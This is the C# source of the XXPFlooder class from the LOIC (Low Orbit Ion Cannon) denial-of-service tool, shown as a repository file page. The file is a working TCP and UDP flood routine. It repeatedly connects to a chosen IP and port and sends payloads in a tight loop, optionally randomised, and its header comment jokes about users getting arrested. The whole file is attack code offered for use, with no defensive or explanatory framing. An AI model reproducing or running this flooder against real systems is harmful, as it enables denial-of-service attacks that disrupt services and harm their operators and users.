-
Notifications
You must be signed in to change notification settings - Fork 0
/
XXPFlooder.cs
110 lines (102 loc) · 2.82 KB
/
XXPFlooder.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/* LOIC - Low Orbit Ion Cannon
* Released to the public domain
* Enjoy getting v&, kids.
*/
using System;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
namespace LOIC
{
public class XXPFlooder : cHLDos
{
private BackgroundWorker bw;
private readonly string IP;
private readonly int Port;
private readonly int Protocol;
private readonly bool Resp;
private readonly string Data;
private readonly bool AllowRandom;
public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data, bool random)
{
this.IP = ip;
this.Port = port;
this.Protocol = proto;
this.Delay = delay;
this.Resp = resp;
this.Data = data;
this.AllowRandom = random;
this.Requested = 0;
this.Failed = 0;
}
public override void Start()
{
this.IsFlooding = true;
this.bw = new BackgroundWorker();
this.bw.DoWork += bw_DoWork;
this.bw.RunWorkerAsync();
this.bw.WorkerSupportsCancellation = true;
}
public override void Stop()
{
this.IsFlooding = false;
this.bw.CancelAsync();
}
private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(IP), Port);
while (this.IsFlooding)
{
State = ReqState.Ready; // SET STATE TO READY //
if(Protocol == (int)LOIC.Protocol.TCP)
{
using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp))
{
socket.NoDelay = true;
State = ReqState.Connecting; // SET STATE TO CONNECTING //
try { socket.Connect(RHost); }
catch { continue; }
socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //
try
{
while (this.IsFlooding)
{
Requested++;
byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : "")));
socket.Send(buf);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay + 1);
}
}
catch { Failed++; }
}
}
if(Protocol == (int)LOIC.Protocol.UDP)
{
using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Dgram, ProtocolType.Udp))
{
socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //
try
{
while (this.IsFlooding)
{
Requested++;
byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : "")));
socket.SendTo(buf, SocketFlags.None, RHost);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay + 1);
}
}
catch { Failed++; }
}
}
}
}
// Analysis disable once EmptyGeneralCatchClause
catch { }
finally { State = ReqState.Ready; this.IsFlooding = false; }
}
}
}